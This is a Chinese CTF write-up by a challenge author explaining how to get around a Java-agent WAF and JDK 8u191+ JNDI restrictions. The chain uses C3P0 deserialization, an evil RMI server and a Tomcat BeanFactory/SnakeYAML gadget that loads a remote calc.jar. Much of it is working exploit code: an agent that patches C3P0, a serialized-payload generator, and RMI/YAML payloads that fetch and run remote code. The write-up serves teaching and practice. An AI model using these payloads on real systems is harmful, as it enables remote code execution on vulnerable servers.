ljctr wp

节分端午自谁言,万古传闻为屈原。堪笑楚江空渺渺,不能洗得直臣冤。

首先祝大家端午节安康

0x00 题为话

前段时间dest0g3 新生赛中受颜老板邀请出一个jndi相关的题目,当时想了想目前jndi这个知识点网上基本上弄的比较透彻,所有肯定是要出bypass 8u191的jndi。其中的浅蓝师傅的探索高版本 JDK 下 JNDI 漏洞的利用方法非常精彩,为了出题自己重新去看了一遍并且尝试挖掘其他的gadgets(挖了一些没公开),先说说目前自己出ctf题的想法吧,(自认为)基本上是出和真实环境相关的题。并且基本上说给源代码的因为自己不喜欢猜来猜去的。回到题目构造的思路上,当时自己去寻找了一些没有tomcat的中间件去搭建题目环境并且寻找Factory去利用构造发现工作量有点小大(太懒了)就没有去弄了,就简简单单的弄了一个springboot的环境内含tomcat,然后前面的话就弄一个简简单单的反序列化去触发jndi 的gadgets 交差!

0x01 题环境搭建介绍

这里自己选的是C3P0链,一方面是比较简单,另一方面是真实基本上比较常见至少有一定的价值。C3P0存在的链子有http连接加载执行和不出网的Factory利用(见JAVA反序列化之C3P0不出网利用),这里肯定不能用现成的gadgets去打,并且也不能使用网上的bypass jndi工具去执行el表达式这些绕过。所有加入了java agent技术。既然说到这里了就简单的介绍一下java agent的使用场景 1. agent内存马 2.可以修改源代码起等防御的作用(本质上差不多是rasp) 等等。在防御的时候我选择了运行中防御,也就是为什么题目附件里面有一个需要进入docker 执行java -jar waf.jar

噢对了 jdk环境肯定是大于8u191的

0x02 分析题目

题目非常简单就一个反序列化入口点不能存在ldap的字符串(自己感觉处理的不好,因为可能存在绕过然后就出现其他问题比如ldap打反序列化返回数据执行原来的c3p0 gadgets rce),有经验的看到这里就已经猜到了使用rmi 的Factory去绕过。并且存在 C3p0的依赖。那思路就清楚了。通过反序列化C3P0去jndi然后执行命令rce。

前几天有师傅说使用yso的就可以打通,那说明我的waf.jar没有配置好。。自己的问题不好意思

那我们看看waf.jar里面是啥

main方法里面其实就是去选择名为DemoApplication的程序去获得pid,之后进行hook,核心内容在simpleDemo0 和simpleDemo1。这里说一个就可以了因为代码差不多一样

simpleDemo0 中对org/apache/tomcat/util/net/SocketBufferHandler类进行hook

1
2
3
4
5
6
7
if ("org/apache/tomcat/util/net/SocketBufferHandler".equals(className)) {
try {
AgentDemo.el(inst, loader);
} catch (Exception var7) {
var7.printStackTrace();
}
}

并且执行AgentDemo.el(inst, loader);

1
2
3
4
5
6
7
8
9
10
11
12
public static byte[] el(Instrumentation inst, ClassLoader loader) throws Exception {
Class<?> elProcessorClass = Class.forName("javax.el.ELProcessor", true, loader);
ClassPool classPool = new ClassPool(true);
classPool.insertClassPath(new ClassClassPath(elProcessorClass));
classPool.insertClassPath(new LoaderClassPath(elProcessorClass.getClassLoader()));
CtClass ctClass = classPool.get(elProcessorClass.getName());
CtMethod ctMethod = ctClass.getMethod("eval", "(Ljava/lang/String;)Ljava/lang/Object;");
ctMethod.insertBefore(String.format(" if (expression!=null){\n return null;\n }", AgentDemo.class.getName()));
inst.redefineClasses(new ClassDefinition[]{new ClassDefinition(elProcessorClass, ctClass.toBytecode())});
ctClass.detach();
return ctClass.toBytecode();
}

可以看到这里使用了javassist技术去修改eval方法里面的逻辑,也就是如果expression!=null就直接return null;

为什么这样呢,因为通过el表达式执行 expression肯定不为null,所有相当于起得了防御的作用。simpleDemo1同理

然后知道了题目不能使用el表达式去执行,并且c3p0 gadgets中 reference不能有值。这里不分析C3P0已经存在的gadgets,网上有很多。。。

现在的问题就是在C3P0中选择jndi的gadgets,其实非常简单。

com.mchange.v2.naming.ReferenceIndirector.ReferenceSerialized#getObject中已经有了lookup方法

Xa4OGq.md.png

满足条件就可以jndi了,具体的细节大家自己分析噢。我这里只是说一下主要的问题就是正常的反序列化contextName变量为null的问题。为什么是这样勒因为在 com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase#writeObject中进行了实例化操作

1
oos.writeObject(indirector.indirectForm(this.connectionPoolDataSource));

所有我们要解决这个问题。我这里想到的方法有3个

  1. 修改C3P0源代码 比较简单

  2. 通过agent技术去修改源代码

  3. 像jre8u20 gadgets一样去操作反序列化的字节码(有点麻烦 理论上肯定可以)

有其他方法欢迎讨论

现在jndi的问题解决了,那rce怎么办呢? 我们看看springboot中本身存在什么依赖

Xa4bIs.md.png

有一个yaml 那非常好 浅蓝师傅的探索高版本 JDK 下 JNDI 漏洞的利用方法里面说到了这个利用方法直接拿来用就可以了。

有师傅用了xxe去读文件(也可以接受至少是这个方向上的利用

0x03 poc

jndi poc

如下代码就是我使用agent技术去实现的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
import com.sun.tools.attach.VirtualMachine;
import com.sun.tools.attach.VirtualMachineDescriptor;
import javassist.*;

import java.io.File;
import java.io.UnsupportedEncodingException;
import java.lang.instrument.ClassDefinition;
import java.lang.instrument.Instrumentation;
import java.net.URLDecoder;
import java.util.List;

public class AgentDemo {
public static void main(String[] args) throws Throwable{
Class.forName("sun.tools.attach.HotSpotAttachProvider");
List<VirtualMachineDescriptor> vms = VirtualMachine.list();
String targetPid = null;
for (int i = 0; i < vms.size(); i++) {
VirtualMachineDescriptor vm = vms.get(i);
if (vm.displayName().contains("main")) {
System.out.println(vm.displayName());
targetPid = vm.id();
System.out.println(targetPid);
}
}
VirtualMachine virtualMachine = VirtualMachine.attach(targetPid);
virtualMachine.loadAgent(getJarFileByClass(AgentDemo.class),null);
virtualMachine.detach();
}
public static String getJarFileByClass(Class cs) {
String fileString=null;
String tmpString;
if (cs!=null) {
tmpString=cs.getProtectionDomain().getCodeSource().getLocation().getFile();
if (tmpString.endsWith(".jar")) {
try {
fileString= URLDecoder.decode(tmpString,"utf-8");
} catch (UnsupportedEncodingException e) {
fileString=URLDecoder.decode(tmpString);
}
}
}
return new File(fileString).toString();
}

public static void agentmain(String agentOps, Instrumentation inst) throws Exception {
for (Class allLoadedClass : inst.getAllLoadedClasses()) {
if (allLoadedClass.getName().contains("c3p0.main")) {
Class<?> elProcessorClass = Class.forName("com.mchange.v2.naming.ReferenceIndirector");
ClassPool classPool = new ClassPool(true);
classPool.insertClassPath(new ClassClassPath(elProcessorClass));
classPool.insertClassPath(new LoaderClassPath(elProcessorClass.getClassLoader()));
CtClass ctClass = classPool.get(elProcessorClass.getName());
CtMethod ctMethod = ctClass.getMethod("indirectForm","(Ljava/lang/Object;)Lcom/mchange/v2/ser/IndirectlySerialized;");
ctMethod.insertBefore(String.format("java.util.Properties properties = new java.util.Properties();\n" +
" javax.naming.CompoundName compoundName = new javax.naming.CompoundName(\"ldap://127.0.0.1:6666/calc\",properties);" +
"contextName=compoundName;",AgentDemo.class.getName()));
inst.redefineClasses(new ClassDefinition(elProcessorClass,ctClass.toBytecode()));
ctClass.detach();
}
}
}
}

生成jar之后run下面代码就可以成功生exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
package c3p0;

import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import com.mchange.v2.naming.ReferenceIndirector;

import javax.naming.*;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.Base64;
import java.util.Properties;
import java.util.logging.Logger;

public class main {
public static void main(String[] args) throws Exception{
Thread.sleep(5000);//sleep一会
PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource());
writeFile("2.txt",serialize(b));
//deserialize(FiletoBytes("1.txt"));
}

private static final class PoolSource extends ReferenceIndirector implements ConnectionPoolDataSource, Referenceable {

public PoolSource () {
}

public Reference getReference () throws NamingException {
return null;
}

public PrintWriter getLogWriter () throws SQLException {return null;}
public void setLogWriter ( PrintWriter out ) throws SQLException {}
public void setLoginTimeout ( int seconds ) throws SQLException {}
public int getLoginTimeout () throws SQLException {return 0;}
public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
public PooledConnection getPooledConnection () throws SQLException {return null;}
public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}
}

public static byte[] serialize(final Object obj) throws Exception {
ByteArrayOutputStream btout = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(btout);
objOut.writeObject(obj);
return btout.toByteArray();
}

public static Object deserialize(final byte[] serialized) throws Exception {
ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
ObjectInputStream objIn = new ObjectInputStream(btin);
return objIn.readObject();
}

private static void writeFile(String filePath, byte[] content) throws Exception {
FileOutputStream outputStream = new FileOutputStream(filePath);
outputStream.write( content );
outputStream.close();
}

public static byte[] FiletoBytes(String filename) throws Exception{
String buf = null;
File file = new File(filename);
FileInputStream fis = null;
fis = new FileInputStream(file);
int size = fis.available();
byte[] bytes = new byte[size];
fis.read(bytes);
return bytes;
}
}

yaml load poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public static void main(String[] args)throws Exception {
System.out.println("[*]Evil RMI Server is Listening on port: 6666");
Registry registry = LocateRegistry.createRegistry( 6666);
ResourceRef ref = tomcat_snakeyaml();
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("calc", referenceWrapper);
}
/**
* new org.yaml.snakeyaml.Yaml().load(String)
* 满足存在Yaml
* yaml加载执行
* @return
*/
public static ResourceRef tomcat_snakeyaml(){
ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
String yaml = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"http://127.0.0.1:8888/calc.jar\"]\n" +
" ]]\n" +
"]";
ref.add(new StringRefAddr("forceString", "a=load"));
ref.add(new StringRefAddr("a", yaml));
return ref;
}

calc.jar怎么制作 github有现成的。

0x04 总结

这道ljctr的题就完成了,正如题目名字一样ljctr的出题。其实怎么说呢,自己感觉还不错,至少可以让做题的人学到一些东西灵活处理java中的问题。并且可能在真实环境中存在也是我出题的初衷了。wp一直没有时间写拖了这么久抱歉。c3p0_jndi_agnet.jar

题目复现可以在buuctf中寻找。